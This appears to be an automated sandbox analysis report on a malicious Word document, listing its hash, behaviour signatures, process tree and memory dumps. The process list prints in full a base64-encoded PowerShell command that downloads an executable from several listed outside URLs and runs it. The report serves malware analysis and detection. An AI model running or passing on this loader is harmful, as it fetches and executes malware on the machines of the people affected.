Overview

overview

5

task1

 

5

task2

 

5

Analysis

  • max time kernel
    153s
  • max time network
    129s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_8284e996aea8e5075256c03a93eaa6df.15

  • Sample

    191011-2wcz3hs296

  • SHA256

    9e1d7cd63b0edcb4b3c4b1c86ecf477245ba82b4291bf26484fe2dd6cd9d12a1

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 4 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_8284e996aea8e5075256c03a93eaa6df.15.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1228
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
    1⤵
    • Drops file in system dir
    PID:1668
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1834941966-19160872101000834298582719040902485668901482295-374042704-1998506022"
    1⤵
      PID:904

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1228-0-0x00000000064F0000-0x00000000066F0000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1228-1-0x00000000064F0000-0x00000000066F0000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1228-2-0x00000000064F0000-0x00000000066F0000-memory.dmp

      Filesize

      2.0MB

      Download